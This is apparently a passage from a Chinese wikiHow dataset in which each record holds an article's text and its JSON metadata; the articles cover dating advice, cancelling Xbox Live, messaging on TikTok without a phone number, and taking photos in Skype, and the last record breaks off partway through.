在身体上使用无味或者有轻微香味的产品。让男朋友能够闻到你自然的气味是很重要的。这种气味可以帮助他体验到强烈的吸引力。 试着使用无味的体香剂和沐浴产品，这样男朋友就能闻到你自然的香味。
偶尔穿红色的衣服。一项研究发现男性更容易被红色所吸引。穿一件红色的裙子或者毛衣和男朋友约会，看看会发生什么。
2-4. 让你们在一起的时间轻松有趣。
除了性感和迷人之外，让男朋友疯狂的另一个好方法就是做一个好玩的人。你希望他愿意和你一起出去玩，向他展示你是那种玩起来很开心的人就是很好的方法。不要试图改变自己，但要知道有很多方法可以让你玩得开心。下面是一些方法：
去远足，和他赛跑到终点。在竞争中大笑会让你和他更亲密。
和他还有他的朋友一起去看一场体育比赛，用你对这项运动的了解给他们留下深刻的印象。
玩真心话大冒险的游戏，向他展示你可以很傻、很有趣。
3. 增加他的欲望
3-1. 保持密切联系。
研究发现多亲近会增加人们对彼此的感觉。换句话说，你越常见到一个人，就越有可能喜欢他。为了让这个方法有用，你可以在去上课的路上顺道去一下你男朋友的储物柜堵他，提议定期一起学习，或者想办法多见见他。
3-2. 尊重男朋友的私人空间，也享受自己的私人空间。
让男朋友为你疯狂的一个好方法，就是不要让他随时随地和你在一起。有些最初的火花和激情会因为你们在一起太舒服自在而熄灭。你要让他想念你，也要让他知道他并不是你快乐的唯一来源。
计划每周花一个晚上和你的闺蜜在一起，并且鼓励他也应该有一个兄弟之夜。
3-3. 镜像模仿他的一举一动。
模仿别人的动作可以增加你对对方的吸引力。为了让这个方法有用，试着时不时地模仿他的身体姿势。例如，如果男朋友调整了他的坐姿，靠在右手上，等几秒钟也跟着这样做。确保你是靠在左手上的，这样你看起来就像是他的镜像。
试着不要太明显。镜像模仿经常发生在人们不经意的时候，重要的是要避免动作太过明显，否则看起来可能很奇怪。
3-4. 欲擒故纵。
即使你们已经在约会了，你也可以通过欲擒故纵来增加对方对你的渴望。下面是一些简单的方法来和你的男朋友玩“欲擒故纵”的把戏：
不紧急的短信可以等15分钟再回复，或者时不时错过一个电话。
如果他提出约会，而你已经有安排了，那就让他重新安排时间。
偶尔拒绝一次亲吻。
小提示
永远对自己真诚。如果你发现自己不得不在男朋友面前假装另一个人，那么他可能不是最适合你的对象。试着去找一个为真实的你疯狂的人。
只做你觉得舒服的事。你没有义务对男朋友做任何让自己不舒服或者没有准备好的事情。
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展露你的自信。\\n自信对大多数人来说是一种很性感的特质，所以当你和男朋友在一起时，尽情地表现出你的自信吧。大方分享你的成就和承认自己的优点。\\n记住，有些人会觉得自信的人有点可怕。如果男朋友缺乏自信，那么表现得自信可能不会增加他对你的渴望。\\n2-2. 跟他说说你自己。\\n透露一些自己的事情有助于增强男朋友对你的感情。告诉他关于你的一切，包括你的兴趣、目标和家庭。不过，不要过早地透露太多信息。保密你生活的某些方面、目标和感觉可以给你们的关系增添神秘感，这可能有助于增加他对你的兴趣。\\n2-3. 注意男朋友喜欢什么。\\n你身上可能有一些能吸引男朋友的特殊地方，所以当他赞美你看起来很性感的时候，试着多留意自己。也许你男朋友喜欢你的内衣，或者他认为你在锻炼后看起来最性感。下面是一些可能会有帮助的事情：\\n\\n化眼妆。 研究表明，眼妆能让女性对一些男性更有吸引力。 当你男朋友在的时候，可以试着画一些眼线、眼影和睫毛膏。\\n在身体上使用无味或者有轻微香味的产品。让男朋友能够闻到你自然的气味是很重要的。这种气味可以帮助他体验到强烈的吸引力。 试着使用无味的体香剂和沐浴产品，这样男朋友就能闻到你自然的香味。\\n偶尔穿红色的衣服。一项研究发现男性更容易被红色所吸引。穿一件红色的裙子或者毛衣和男朋友约会，看看会发生什么。\\n2-4. 让你们在一起的时间轻松有趣。\\n除了性感和迷人之外，让男朋友疯狂的另一个好方法就是做一个好玩的人。你希望他愿意和你一起出去玩，向他展示你是那种玩起来很开心的人就是很好的方法。不要试图改变自己，但要知道有很多方法可以让你玩得开心。下面是一些方法： \\n去远足，和他赛跑到终点。在竞争中大笑会让你和他更亲密。\\n和他还有他的朋友一起去看一场体育比赛，用你对这项运动的了解给他们留下深刻的印象。\\n玩真心话大冒险的游戏，向他展示你可以很傻、很有趣。\\n3. 增加他的欲望\\n3-1. 保持密切联系。\\n研究发现多亲近会增加人们对彼此的感觉。换句话说，你越常见到一个人，就越有可能喜欢他。为了让这个方法有用，你可以在去上课的路上顺道去一下你男朋友的储物柜堵他，提议定期一起学习，或者想办法多见见他。\\n3-2. 尊重男朋友的私人空间，也享受自己的私人空间。\\n让男朋友为你疯狂的一个好方法，就是不要让他随时随地和你在一起。有些最初的火花和激情会因为你们在一起太舒服自在而熄灭。你要让他想念你，也要让他知道他并不是你快乐的唯一来源。\\n计划每周花一个晚上和你的闺蜜在一起，并且鼓励他也应该有一个兄弟之夜。\\n3-3. 镜像模仿他的一举一动。\\n模仿别人的动作可以增加你对对方的吸引力。为了让这个方法有用，试着时不时地模仿他的身体姿势。例如，如果男朋友调整了他的坐姿，靠在右手上，等几秒钟也跟着这样做。确保你是靠在左手上的，这样你看起来就像是他的镜像。\\n试着不要太明显。镜像模仿经常发生在人们不经意的时候，重要的是要避免动作太过明显，否则看起来可能很奇怪。\\n3-4. 欲擒故纵。\\n即使你们已经在约会了，你也可以通过欲擒故纵来增加对方对你的渴望。下面是一些简单的方法来和你的男朋友玩“欲擒故纵”的把戏： \\n不紧急的短信可以等15分钟再回复，或者时不时错过一个电话。\\n如果他提出约会，而你已经有安排了，那就让他重新安排时间。\\n偶尔拒绝一次亲吻。\\n小提示\\n永远对自己真诚。如果你发现自己不得不在男朋友面前假装另一个人，那么他可能不是最适合你的对象。试着去找一个为真实的你疯狂的人。\\n只做你觉得舒服的事。你没有义务对男朋友做任何让自己不舒服或者没有准备好的事情。\\n\", \"简要回答\": \"无论是处于一段新恋情，还是长期关系中，每个人都希望自己的男朋友体贴入微，被自己所吸引。随着关系的发展和变化，你们曾经对彼此疯狂的激情会放缓或者改用其他方式表达，这是正常的。当然他喜欢你，甚至爱你，但有一些办法能够让他为你疯狂。让他感到自己被渴望，成为理想的伴侣来激发他的这种激情。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"让男朋友感到自己被渴望\", \"步骤\": [{\"编号\": 1, \"标题\": \"赞美他。\", \"描述\": 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\\n去远足，和他赛跑到终点。在竞争中大笑会让你和他更亲密。\\n和他还有他的朋友一起去看一场体育比赛，用你对这项运动的了解给他们留下深刻的印象。\\n玩真心话大冒险的游戏，向他展示你可以很傻、很有趣。\"}]}, {\"编号\": 3, \"标题\": \"增加他的欲望\", \"步骤\": [{\"编号\": 1, \"标题\": \"保持密切联系。\", \"描述\": \"研究发现多亲近会增加人们对彼此的感觉。换句话说，你越常见到一个人，就越有可能喜欢他。为了让这个方法有用，你可以在去上课的路上顺道去一下你男朋友的储物柜堵他，提议定期一起学习，或者想办法多见见他。\"}, {\"编号\": 2, \"标题\": \"尊重男朋友的私人空间，也享受自己的私人空间。\", \"描述\": \"让男朋友为你疯狂的一个好方法，就是不要让他随时随地和你在一起。有些最初的火花和激情会因为你们在一起太舒服自在而熄灭。你要让他想念你，也要让他知道他并不是你快乐的唯一来源。\\n计划每周花一个晚上和你的闺蜜在一起，并且鼓励他也应该有一个兄弟之夜。\"}, {\"编号\": 3, \"标题\": \"镜像模仿他的一举一动。\", \"描述\": \"模仿别人的动作可以增加你对对方的吸引力。为了让这个方法有用，试着时不时地模仿他的身体姿势。例如，如果男朋友调整了他的坐姿，靠在右手上，等几秒钟也跟着这样做。确保你是靠在左手上的，这样你看起来就像是他的镜像。\\n试着不要太明显。镜像模仿经常发生在人们不经意的时候，重要的是要避免动作太过明显，否则看起来可能很奇怪。\"}, {\"编号\": 4, \"标题\": \"欲擒故纵。\", \"描述\": \"即使你们已经在约会了，你也可以通过欲擒故纵来增加对方对你的渴望。下面是一些简单的方法来和你的男朋友玩“欲擒故纵”的把戏： \\n不紧急的短信可以等15分钟再回复，或者时不时错过一个电话。\\n如果他提出约会，而你已经有安排了，那就让他重新安排时间。\\n偶尔拒绝一次亲吻。\"}], \"小提示\": [\"永远对自己真诚。如果你发现自己不得不在男朋友面前假装另一个人，那么他可能不是最适合你的对象。试着去找一个为真实的你疯狂的人。\\n\", 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14,725 | 如何取消Xbox Live | 1. 在线取消
1-1. 在您的电脑上打开浏览器。
1-2.
访问Xbox帐户管理页面http://live.xbox.com/account.
1-3. 输入用来设置你的Xbox Live帐户的电子邮件地址和密码。
1-4. 点击“登录”。
将显示您的帐户概要。
点击“管理付款选项”。在所有选项中，有一个与您订阅相关的付款方式的文件会在列表上显示出来。与每个付款选项相邻有两个超链接：“编辑”和“删除”。
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1-5. 找到您正支付续订费的选项，点击“删除” 。
如果您有一个以上的付款方式，您的帐户将继续自动续约，通过使用下一个可用的付款选项。你必须点击“删除”所有支付选项来取消的Xbox Live 。
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当您单击“删除”，可能会收到一个弹出警告框，告诉您可能会取消您的加入，如果点击“删除”选项的话。按照提示完成删除。不要在您的浏览器用“返回”按钮，否则取消将失效。
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2. 通过手机取消
2-1. 拨打Xbox免费客服电话（800）4MY-XBOX或（800）469-9269，美国东部时间上午9点到凌晨1点。
您可以直接拨Xbox客服电话（425）635-7180
听力障碍的用户可以直接拨打Xbox免费电话（866）740-9269或（425）635-7102。
2-2. 向客服提供你的玩家账号。
您可能会被要求验证某些细节如你的秘密问题的答案，以便出于安全原因确认您的身份。
2-3. 告知Xbox客服您希望取消Xbox Live。
小提示
微软并没有提供通过Xbox游戏机取消Xbox Live的方法。
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. 在线取消\\n1-1. 在您的电脑上打开浏览器。\\n\\n1-2. \\n访问Xbox帐户管理页面http://live.xbox.com/account.\\n1-3. 输入用来设置你的Xbox Live帐户的电子邮件地址和密码。\\n\\n1-4. 点击“登录”。\\n将显示您的帐户概要。\\n点击“管理付款选项”。在所有选项中，有一个与您订阅相关的付款方式的文件会在列表上显示出来。与每个付款选项相邻有两个超链接：“编辑”和“删除”。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/8\\\\/86\\\\/Cancel-Xbox-Live-Step-4Bullet1.jpg\\\\/v4-460px-Cancel-Xbox-Live-Step-4Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/8\\\\/86\\\\/Cancel-Xbox-Live-Step-4Bullet1.jpg\\\\/v4-728px-Cancel-Xbox-Live-Step-4Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n1-5. 找到您正支付续订费的选项，点击“删除” 。\\n如果您有一个以上的付款方式，您的帐户将继续自动续约，通过使用下一个可用的付款选项。你必须点击“删除”所有支付选项来取消的Xbox Live 。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/a9\\\\/Cancel-Xbox-Live-Step-5Bullet1.jpg\\\\/v4-460px-Cancel-Xbox-Live-Step-5Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/a9\\\\/Cancel-Xbox-Live-Step-5Bullet1.jpg\\\\/v4-728px-Cancel-Xbox-Live-Step-5Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":298,\\\"bigWidth\\\":728,\\\"bigHeight\\\":471,\\\"licensing\\\":\\\"<div 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是会员制在线多人电子游戏服务器，它可以让个人与其他也加入Xbox Live的人在线玩游戏。首先在2002年推出，加入到Xbox Live要求用户每月或每年同意自动续约。在任何时间, 您可以取消加入Xbox Live以防止它在其目前的购买期结束前一直自动更新付费。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"在线取消\", \"步骤\": [{\"编号\": 1, \"标题\": \"在您的电脑上打开浏览器。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"\", \"描述\": \"访问Xbox帐户管理页面http://live.xbox.com/account.\"}, {\"编号\": 3, \"标题\": \"输入用来设置你的Xbox Live帐户的电子邮件地址和密码。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击“登录”。\", \"描述\": \"将显示您的帐户概要。\\n点击“管理付款选项”。在所有选项中，有一个与您订阅相关的付款方式的文件会在列表上显示出来。与每个付款选项相邻有两个超链接：“编辑”和“删除”。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/8\\\\/86\\\\/Cancel-Xbox-Live-Step-4Bullet1.jpg\\\\/v4-460px-Cancel-Xbox-Live-Step-4Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/8\\\\/86\\\\/Cancel-Xbox-Live-Step-4Bullet1.jpg\\\\/v4-728px-Cancel-Xbox-Live-Step-4Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 5, \"标题\": \"找到您正支付续订费的选项，点击“删除” 。\", \"描述\": \"如果您有一个以上的付款方式，您的帐户将继续自动续约，通过使用下一个可用的付款选项。你必须点击“删除”所有支付选项来取消的Xbox Live 。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/a9\\\\/Cancel-Xbox-Live-Step-5Bullet1.jpg\\\\/v4-460px-Cancel-Xbox-Live-Step-5Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/a9\\\\/Cancel-Xbox-Live-Step-5Bullet1.jpg\\\\/v4-728px-Cancel-Xbox-Live-Step-5Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":298,\\\"bigWidth\\\":728,\\\"bigHeight\\\":471,\\\"licensing\\\":\\\"<div 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\"标题\": \"告知Xbox客服您希望取消Xbox Live。\", \"描述\": \"\"}], \"小提示\": [\"微软并没有提供通过Xbox游戏机取消Xbox Live的方法。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,726 | 如何在TikTok上发送消息而不使用电话号码 | 1. 使用手机或平板电脑
1-1. 创建一个TikTok账号，但不要使用手机号码。
如果你使用的是手机或平板电脑，那就从Google Play商店（Android）或App Store（iOS）下载并安装TikTok应用。
如果没有马上提示你创建账号，那就点击右下角的标签。
选择一种非电话的方式来创建账号。你可以选择使用Facebook、Google或Twitter（以及其他地区流行的应用，如KakaoTalk）。
在提示时按照屏幕说明登录该应用的账号。在创建账号之后，你会被带到精选内容页面。
1-2. 发送消息。
只要你对方关注了你，你就可以给他们发消息。但你没办法给还没有关注你的用户发消息。
即使在注册时没有使用电话号码，程序也不会提示你进行添加。你还可以向任何关注你的人发送私信，无论你的手机联系人中是否有他们的电话号码。
你可以点击标签，然后点击右上角的纸飞机图标来查找私信。
2. 使用网站
2-1. 访问 https://www.tiktok.com/en/ 。
你可以使用台式或笔记本电脑上的任何网络浏览器来创建一个账号而不使用电话号码，然后就能给关注你的人发送消息。
2-2. 点击登录。
但主页上并没有直接显示“注册”按钮；但只要你点击，就会出现一个用于创建账号的链接。
你会看到两个按钮：一个在页面顶部的右侧，另一个在页面的左侧。
2-3. 点击注册。
它在窗口底部的“还没有账号吗？”旁边。
2-4. 点击一种方法来创建账号。
不要使用电话号码，你可以使用自己的Facebook、Google或Twitter账户信息来创建TikTok账号。
按照屏幕说明创建账号，而不使用电话号码。
2-5. 发送消息。
只要你对方关注了你，你就可以给他们发消息。但你没办法给还没有关注你的用户发消息。
即使在注册时没有使用电话号码，程序也不会提示你进行添加。你还可以向任何关注你的人发送私信，无论你的手机联系人中是否有他们的电话号码。
要发送私信，点击网络浏览器顶部的飞机图标。
小提示
要设置你账号的消息隐私，进入我标签，打开隐私并更改“私信”的设置。你可以在“每个人”、“好友”和“没有人”之间进行更改。[1]
X
研究来源
如果你未满16岁（或者账号显示你还未满16岁），那么你就没有权限发送消息。[2]
X
研究来源
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. 使用手机或平板电脑\\n1-1. 创建一个TikTok账号，但不要使用手机号码。\\n如果你使用的是手机或平板电脑，那就从Google Play商店（Android）或App Store（iOS）下载并安装TikTok应用。\\n如果没有马上提示你创建账号，那就点击右下角的标签。\\n选择一种非电话的方式来创建账号。你可以选择使用Facebook、Google或Twitter（以及其他地区流行的应用，如KakaoTalk）。\\n在提示时按照屏幕说明登录该应用的账号。在创建账号之后，你会被带到精选内容页面。\\n1-2. 发送消息。\\n只要你对方关注了你，你就可以给他们发消息。但你没办法给还没有关注你的用户发消息。\\n即使在注册时没有使用电话号码，程序也不会提示你进行添加。你还可以向任何关注你的人发送私信，无论你的手机联系人中是否有他们的电话号码。\\n你可以点击标签，然后点击右上角的纸飞机图标来查找私信。\\n2. 使用网站\\n2-1. 访问 https://www.tiktok.com/en/ 。\\n你可以使用台式或笔记本电脑上的任何网络浏览器来创建一个账号而不使用电话号码，然后就能给关注你的人发送消息。\\n2-2. 点击登录。\\n但主页上并没有直接显示“注册”按钮；但只要你点击，就会出现一个用于创建账号的链接。\\n你会看到两个按钮：一个在页面顶部的右侧，另一个在页面的左侧。\\n2-3. 点击注册。\\n它在窗口底部的“还没有账号吗？”旁边。\\n2-4. 点击一种方法来创建账号。\\n不要使用电话号码，你可以使用自己的Facebook、Google或Twitter账户信息来创建TikTok账号。\\n按照屏幕说明创建账号，而不使用电话号码。\\n2-5. 发送消息。\\n只要你对方关注了你，你就可以给他们发消息。但你没办法给还没有关注你的用户发消息。\\n即使在注册时没有使用电话号码，程序也不会提示你进行添加。你还可以向任何关注你的人发送私信，无论你的手机联系人中是否有他们的电话号码。\\n要发送私信，点击网络浏览器顶部的飞机图标。\\n小提示\\n要设置你账号的消息隐私，进入我标签，打开隐私并更改“私信”的设置。你可以在“每个人”、“好友”和“没有人”之间进行更改。[1]\\nX\\n研究来源\\n如果你未满16岁（或者账号显示你还未满16岁），那么你就没有权限发送消息。[2]\\nX\\n研究来源\\n\", \"简要回答\": \"这篇文章将教你如何在TikTok上给别人发消息，而不用先验证自己的电话号码。在创建TikTok账号时，只有“使用电话或电子邮件”选项会要求使用电话号码进行注册。如果你选择Google、Facebook和Twitter等其他选项，那就不会要求你向TikTok提供电话号码。创建账号后，就可以向关注你的任何人发送消息了。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用手机或平板电脑\", \"步骤\": [{\"编号\": 1, \"标题\": \"创建一个TikTok账号，但不要使用手机号码。\", \"描述\": \"如果你使用的是手机或平板电脑，那就从Google Play商店（Android）或App Store（iOS）下载并安装TikTok应用。\\n如果没有马上提示你创建账号，那就点击右下角的标签。\\n选择一种非电话的方式来创建账号。你可以选择使用Facebook、Google或Twitter（以及其他地区流行的应用，如KakaoTalk）。\\n在提示时按照屏幕说明登录该应用的账号。在创建账号之后，你会被带到精选内容页面。\"}, {\"编号\": 2, \"标题\": \"发送消息。\", \"描述\": \"只要你对方关注了你，你就可以给他们发消息。但你没办法给还没有关注你的用户发消息。\\n即使在注册时没有使用电话号码，程序也不会提示你进行添加。你还可以向任何关注你的人发送私信，无论你的手机联系人中是否有他们的电话号码。\\n你可以点击标签，然后点击右上角的纸飞机图标来查找私信。\"}]}, {\"编号\": 2, \"标题\": \"使用网站\", \"步骤\": [{\"编号\": 1, \"标题\": \"访问 https://www.tiktok.com/en/ 。\", \"描述\": \"你可以使用台式或笔记本电脑上的任何网络浏览器来创建一个账号而不使用电话号码，然后就能给关注你的人发送消息。\"}, {\"编号\": 2, \"标题\": \"点击登录。\", \"描述\": \"但主页上并没有直接显示“注册”按钮；但只要你点击，就会出现一个用于创建账号的链接。\\n你会看到两个按钮：一个在页面顶部的右侧，另一个在页面的左侧。\"}, {\"编号\": 3, \"标题\": \"点击注册。\", \"描述\": \"它在窗口底部的“还没有账号吗？”旁边。\"}, {\"编号\": 4, \"标题\": \"点击一种方法来创建账号。\", \"描述\": \"不要使用电话号码，你可以使用自己的Facebook、Google或Twitter账户信息来创建TikTok账号。\\n按照屏幕说明创建账号，而不使用电话号码。\"}, {\"编号\": 5, \"标题\": \"发送消息。\", \"描述\": \"只要你对方关注了你，你就可以给他们发消息。但你没办法给还没有关注你的用户发消息。\\n即使在注册时没有使用电话号码，程序也不会提示你进行添加。你还可以向任何关注你的人发送私信，无论你的手机联系人中是否有他们的电话号码。\\n要发送私信，点击网络浏览器顶部的飞机图标。\"}], \"小提示\": [\"要设置你账号的消息隐私，进入我标签，打开隐私并更改“私信”的设置。你可以在“每个人”、“好友”和“没有人”之间进行更改。[1]\\nX\\n研究来源\\n\", \"如果你未满16岁（或者账号显示你还未满16岁），那么你就没有权限发送消息。[2]\\nX\\n研究来源\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,727 | 如何在Skype上拍照 | 1. 在PC上自拍
1-1. 登录到Skype 。
正常登录。从“工具”菜单，选择“选项...”
1-2. 点击“视频设置”。
在“选项”屏幕上点击“视频设置”，你的网络摄像头会显示一个现场图片。
如果你的计算机连接几个摄像头，你可以从下拉列表中选择。
点击“网络摄像头设置” 调节视频设置如光，亮度和对比度。
1-3. 点击“更改你的个人资料图片。
”对准摄像头调整自己，准备好拍自己特写时，点击“拍照。”
1-4. 调节图像。
你可以移动窗口和调整图象。觉得满意就点击“使用这张照片”，然后单击“保存”。你就有一个新的资料图片。
2. 在PC上拍别人照片
2-1. 启动Skype视频通话。
当你看到屏幕上的其他人，就可以随时拍摄照片。
2-2. 在呼叫窗口点击“+”按钮。
看起来不错时，点击“拍照。”快照会显示在“快照库”窗口，点击“分享”按钮你可以与其他Skype联系人分享，或者点击“在计算机上找到它。”
3. 在Macintosh上自拍
3-1. 登录到Skype 。
从Skype的菜单中，选择“首选项... ”
3-2. 单击“音频/视频”选项卡。
在该窗口你会看到摄像头的现场视频。如果你连接多个摄像头，你可以从菜单中列出的选择。当你设置好了，关闭“首选项”窗口。
3-3. 编辑你的个人资料。
从“文件”菜单，选择“编辑个人资料”。在你当前的图片下，点击“更改图片”。
3-4. 按一下相机。
在“更改图片”对话框，找到的大小滑块下方的相机图标，并单击一次。
3-5. 对着相机微笑！你会得到一个3秒的倒计时，然后Skype从网络摄像头拍摄。
你可以随意调整和重新定位。如果你不满意，只要再按一下拍照键，直到有一个喜欢的。一旦你调整大小/图像重新定位满意，点击“设置”按钮。新的照片就到位。
4. 在手机用Skype自拍
4-1. 打开Skype的应用程序。
点选屏幕左上角你的图片，然后点选你的档案图片上方的相机图标。
4-2. 点击“拍照” 。
在弹出的菜单中，你可以选择拍摄照片，使用现有照片，删除你的个人资料图片，或取消操作。点击“拍照”，打开你的移动设备的摄像头。
4-3. 调整自己。
当你准备好拍照，点击屏幕上的摄像头图标。
4-4. 调整你的镜头。
在中间方帧内点击和拖动来移动你的图片。捏住作放大或缩小。直到你满意，点击“使用”。新的配置图像就到位。
5. 在OS X和iOS上用Skype截图拍摄照片
5-1. 拍摄当前窗口的照片。
用于Macintosh的Skype不给你谈话的对象拍照。如果你还是想拍照，用屏幕快照。按下并松开Shift - Command-4键，然后按空格键，来捕捉当前窗口。你的光标会变成一个相机图标，当你翻过窗口，一个淡蓝色的网罩将涵盖页面，表明窗口将被捕获，即使它大多隐藏在其他视窗后面。将光标定位在Skype窗口，然后左键单击来捕获窗口。照片将被保存在你的桌面上。
5-2. 拍摄一张屏幕的照片。
与Macintosh相似，适用于iOS的Skype手机并没有为他人拍照做出规定。你可以做屏幕截图，这在任何iOS设备上是很容易做到的。按住睡眠/唤醒“按钮”，然后按下并松开Home键。你拍摄的画面会出现在你的“相机胶卷”。
| {
"create_time": "20230517 11:02:18",
"回答明细": "{\"回答\": \"1. 在PC上自拍\\n1-1. 登录到Skype 。\\n正常登录。从“工具”菜单，选择“选项...”\\n1-2. 点击“视频设置”。\\n在“选项”屏幕上点击“视频设置”，你的网络摄像头会显示一个现场图片。\\n如果你的计算机连接几个摄像头，你可以从下拉列表中选择。\\n点击“网络摄像头设置” 调节视频设置如光，亮度和对比度。\\n1-3. 点击“更改你的个人资料图片。\\n”对准摄像头调整自己，准备好拍自己特写时，点击“拍照。”\\n1-4. 调节图像。\\n你可以移动窗口和调整图象。觉得满意就点击“使用这张照片”，然后单击“保存”。你就有一个新的资料图片。\\n2. 在PC上拍别人照片\\n2-1. 启动Skype视频通话。\\n当你看到屏幕上的其他人，就可以随时拍摄照片。\\n2-2. 在呼叫窗口点击“+”按钮。\\n看起来不错时，点击“拍照。”快照会显示在“快照库”窗口，点击“分享”按钮你可以与其他Skype联系人分享，或者点击“在计算机上找到它。”\\n3. 在Macintosh上自拍\\n3-1. 登录到Skype 。\\n从Skype的菜单中，选择“首选项... ”\\n3-2. 单击“音频/视频”选项卡。\\n在该窗口你会看到摄像头的现场视频。如果你连接多个摄像头，你可以从菜单中列出的选择。当你设置好了，关闭“首选项”窗口。\\n3-3. 编辑你的个人资料。\\n从“文件”菜单，选择“编辑个人资料”。在你当前的图片下，点击“更改图片”。\\n3-4. 按一下相机。\\n在“更改图片”对话框，找到的大小滑块下方的相机图标，并单击一次。\\n3-5. 对着相机微笑！你会得到一个3秒的倒计时，然后Skype从网络摄像头拍摄。\\n你可以随意调整和重新定位。如果你不满意，只要再按一下拍照键，直到有一个喜欢的。一旦你调整大小/图像重新定位满意，点击“设置”按钮。新的照片就到位。\\n4. 在手机用Skype自拍\\n4-1. 打开Skype的应用程序。\\n点选屏幕左上角你的图片，然后点选你的档案图片上方的相机图标。\\n4-2. 点击“拍照” 。\\n在弹出的菜单中，你可以选择拍摄照片，使用现有照片，删除你的个人资料图片，或取消操作。点击“拍照”，打开你的移动设备的摄像头。\\n4-3. 调整自己。\\n当你准备好拍照，点击屏幕上的摄像头图标。\\n4-4. 调整你的镜头。\\n在中间方帧内点击和拖动来移动你的图片。捏住作放大或缩小。直到你满意，点击“使用”。新的配置图像就到位。\\n5. 在OS X和iOS上用Skype截图拍摄照片\\n5-1. 拍摄当前窗口的照片。\\n用于Macintosh的Skype不给你谈话的对象拍照。如果你还是想拍照，用屏幕快照。按下并松开Shift - Command-4键，然后按空格键，来捕捉当前窗口。你的光标会变成一个相机图标，当你翻过窗口，一个淡蓝色的网罩将涵盖页面，表明窗口将被捕获，即使它大多隐藏在其他视窗后面。将光标定位在Skype窗口，然后左键单击来捕获窗口。照片将被保存在你的桌面上。\\n5-2. 拍摄一张屏幕的照片。\\n与Macintosh相似，适用于iOS的Skype手机并没有为他人拍照做出规定。你可以做屏幕截图，这在任何iOS设备上是很容易做到的。按住睡眠/唤醒“按钮”，然后按下并松开Home键。你拍摄的画面会出现在你的“相机胶卷”。\\n\", \"简要回答\": \"用Skype长途聊天，视频会议，并保持联系是很好的，但你知不知道，也可以用Skype拍照？这篇文章将告诉你如何在计算机和移动设备上给自己和朋友拍照。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"在PC上自拍\", \"步骤\": [{\"编号\": 1, \"标题\": \"登录到Skype 。\", \"描述\": \"正常登录。从“工具”菜单，选择“选项...”\"}, {\"编号\": 2, \"标题\": \"点击“视频设置”。\", \"描述\": \"在“选项”屏幕上点击“视频设置”，你的网络摄像头会显示一个现场图片。\\n如果你的计算机连接几个摄像头，你可以从下拉列表中选择。\\n点击“网络摄像头设置” 调节视频设置如光，亮度和对比度。\"}, {\"编号\": 3, \"标题\": \"点击“更改你的个人资料图片。\", \"描述\": \"”对准摄像头调整自己，准备好拍自己特写时，点击“拍照。”\"}, {\"编号\": 4, \"标题\": \"调节图像。\", \"描述\": \"你可以移动窗口和调整图象。觉得满意就点击“使用这张照片”，然后单击“保存”。你就有一个新的资料图片。\"}]}, {\"编号\": 2, \"标题\": \"在PC上拍别人照片\", \"步骤\": [{\"编号\": 1, \"标题\": \"启动Skype视频通话。\", \"描述\": \"当你看到屏幕上的其他人，就可以随时拍摄照片。\"}, {\"编号\": 2, \"标题\": \"在呼叫窗口点击“+”按钮。\", \"描述\": \"看起来不错时，点击“拍照。”快照会显示在“快照库”窗口，点击“分享”按钮你可以与其他Skype联系人分享，或者点击“在计算机上找到它。”\"}]}, {\"编号\": 3, \"标题\": \"在Macintosh上自拍\", \"步骤\": [{\"编号\": 1, \"标题\": \"登录到Skype 。\", \"描述\": \"从Skype的菜单中，选择“首选项... ”\"}, {\"编号\": 2, \"标题\": \"单击“音频/视频”选项卡。\", \"描述\": \"在该窗口你会看到摄像头的现场视频。如果你连接多个摄像头，你可以从菜单中列出的选择。当你设置好了，关闭“首选项”窗口。\"}, {\"编号\": 3, \"标题\": \"编辑你的个人资料。\", \"描述\": \"从“文件”菜单，选择“编辑个人资料”。在你当前的图片下，点击“更改图片”。\"}, {\"编号\": 4, \"标题\": \"按一下相机。\", \"描述\": \"在“更改图片”对话框，找到的大小滑块下方的相机图标，并单击一次。\"}, {\"编号\": 5, \"标题\": \"对着相机微笑！你会得到一个3秒的倒计时，然后Skype从网络摄像头拍摄。\", \"描述\": \"你可以随意调整和重新定位。如果你不满意，只要再按一下拍照键，直到有一个喜欢的。一旦你调整大小/图像重新定位满意，点击“设置”按钮。新的照片就到位。\"}]}, {\"编号\": 4, \"标题\": \"在手机用Skype自拍\", \"步骤\": [{\"编号\": 1, \"标题\": 